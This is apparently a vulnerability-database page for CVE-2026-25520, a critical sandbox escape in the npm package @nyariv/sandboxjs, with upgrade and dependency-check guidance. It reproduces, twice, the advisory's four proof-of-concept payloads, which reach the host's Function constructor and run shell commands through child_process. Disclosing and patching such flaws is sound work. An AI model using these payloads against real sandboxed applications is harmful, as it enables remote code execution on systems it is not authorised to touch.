CVE-2026-25520: @nyariv/sandboxjs @nyariv/sandboxjs Has A Sandbox Escape Vulnerability

CRITICAL
Advisory Identifier: GHSA-58jh-xv4v-pcx4
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CVSS 10.0
CWE-74
Published
Advisory Summary

CVE-2026-25520 is a CRITICAL (CVSS 10.0) @nyariv/sandboxjs has a sandbox escape vulnerability (CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')) affecting @nyariv/sandboxjs libraries in the npm ecosystem. The issue involves @nyariv/sandboxjs has a sandbox escape issue. Remediation is available by upgrading affected packages to version 0.8.29.

CVE-2026-25520 at a Glance

CVE Identifier CVE-2026-25520
GHSA Identifier GHSA-58jh-xv4v-pcx4
Severity CRITICAL
CVSS v3.1 Base Score 10.0
CWE Classification CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Affected Product @nyariv/sandboxjs
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 10.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-25520

To remediate this vulnerability, upgrade all affected @nyariv/sandboxjs dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@nyariv/sandboxjs fixed: 0.8.29 
npm install @nyariv/sandboxjs@0.8.29
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

npm ls @nyariv/sandboxjs

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-25520, inspect your project dependencies using npm:

npm ls @nyariv/sandboxjs

Analyze the terminal output to locate any version of @nyariv/sandboxjs in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.8.29), your application is affected.

Note: The npm ls @nyariv/sandboxjs command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'), where the product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component. In @nyariv/sandboxjs, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The return values of functions aren't wrapped. `Object.values`/`Object.entries` can be used to get an Array containing the host's `Function` constructor, by using `Array.prototype.at` you can obtain the hosts `Function` constructor, which can be used to execute arbitrary code outside of the sandbox. ### Details The return values of functions aren't wrapped, chaining function calls allows bypassing most validation/sanitization. ### PoC ```js const s = require('@nyariv/sandboxjs').default; const sb = new s(); payload = ` console.log( Object.values(this).at(0)( "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()", )(), ); ` sb.compile(payload)().run(); ``` ```js const s = require("@nyariv/sandboxjs").default; const sb = new s(); payload = ` console.log( Object.entries(this)[0].at(1)( "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()", )(), ); ` sb.compile(payload)().run(); ``` ```js const s = require("@nyariv/sandboxjs").default; const sb = new s(); payload = ` console.log( Object.entries(this) .at(0) .map((f) => { if (typeof f === 'function') { f.call('', 'return process')() .getBuiltinModule('child_process') .execSync('ls -lah', { stdio: 'inherit' }); } }), ); ` sb.compile(payload)().run(); ``` ```js const s = require("@nyariv/sandboxjs").default; const sb = new s(); payload = ` const t = (f) => { f.call('', 'return process')() .getBuiltinModule('child_process') .execSync('ls -lah', { stdio: 'inherit' }); }; console.log(t.call(...Object.entries(this)[0])); ` sb.compile(payload)().run(); ``` ### Impact Sanbox Escape -> RCE

CVE-2026-25520 Affected @nyariv/sandboxjs Versions

1 component(s)
Fixed Versions:
0.8.29
Product / Package Ecosystem Affected Versions Fixed Version
@nyariv/sandboxjs
npm/@nyariv/sandboxjs
npm
< 0.8.29
0.8.29

References

GitHub Advisory / Wiki ADVISORY
https://github.com/nyariv/SandboxJS/security/advisories/GHSA-58jh-xv4v-pcx4
NVD — CVE-2026-25520 NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-25520
Security Fix Commit FIX COMMIT
https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3
@nyariv/sandboxjs Source Repository REPOSITORY
https://github.com/nyariv/SandboxJS

Frequently Asked Questions

What is CVE-2026-25520?
CVE-2026-25520 is a security vulnerability in @nyariv/sandboxjs involving @nyariv/sandboxjs has a Sandbox Escape issue under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection').
Which @nyariv/sandboxjs versions are affected?
Affected versions include releases prior to 0.8.29 across affected packages: @nyariv/sandboxjs.
What version fixes CVE-2026-25520?
Upgrading to 0.8.29 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @nyariv/sandboxjs affected?
Yes, @nyariv/sandboxjs is affected in releases prior to 0.8.29. Upgrade your dependency to 0.8.29 or later.
What is the CVSS score of CVE-2026-25520?
CVE-2026-25520 has a CVSS v3.1 base score of 10.0 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-25520?
CVE-2026-25520 is classified under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.).
How can I check npm dependencies for CVE-2026-25520?
Run the dependency tree command: 'npm ls @nyariv/sandboxjs'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-58jh-xv4v-pcx4",
  "modified" : "2026-02-06T21:42:23Z",
  "published" : "2026-02-05T20:41:28Z",
  "aliases" : [ "CVE-2026-25520" ],
  "summary" : "@nyariv/sandboxjs has a Sandbox Escape issue",
  "details" : "### Summary\n\nThe return values of functions aren't wrapped. `Object.values`/`Object.entries` can be used to get an Array containing the host's `Function` constructor, by using `Array.prototype.at` you can obtain the hosts `Function` constructor, which can be used to execute arbitrary code outside of the sandbox.\n\n### Details\n\nThe return values of functions aren't wrapped, chaining function calls allows bypassing most validation/sanitization. \n\n### PoC\n\n```js\nconst s = require('@nyariv/sandboxjs').default;\nconst sb = new s();\n\npayload = `\nconsole.log(\n  Object.values(this).at(0)(\n    \"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()\",\n  )(),\n);\n`\n\nsb.compile(payload)().run();\n```\n\n```js\nconst s = require(\"@nyariv/sandboxjs\").default;\nconst sb = new s();\n\npayload = `\nconsole.log(\n  Object.entries(this)[0].at(1)(\n    \"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()\",\n  )(),\n);\n`\n\nsb.compile(payload)().run();\n```\n\n```js\nconst s = require(\"@nyariv/sandboxjs\").default;\nconst sb = new s();\n\npayload = `\nconsole.log(\n  Object.entries(this)\n    .at(0)\n    .map((f) => {\n      if (typeof f === 'function') {\n        f.call('', 'return process')()\n          .getBuiltinModule('child_process')\n          .execSync('ls -lah', { stdio: 'inherit' });\n      }\n    }),\n);\n`\n\nsb.compile(payload)().run();\n```\n\n```js\nconst s = require(\"@nyariv/sandboxjs\").default;\nconst sb = new s();\n\npayload = `\nconst t = (f) => {\n  f.call('', 'return process')()\n    .getBuiltinModule('child_process')\n    .execSync('ls -lah', { stdio: 'inherit' });\n};\nconsole.log(t.call(...Object.entries(this)[0]));\n`\n\nsb.compile(payload)().run();\n```\n\n### Impact\n\nSanbox Escape -> RCE",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@nyariv/sandboxjs"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.8.29"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.8.28"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-58jh-xv4v-pcx4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25520"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nyariv/SandboxJS"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-74" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-05T20:41:28Z",
    "nvd_published_at" : "2026-02-06T20:16:10Z"
  }
}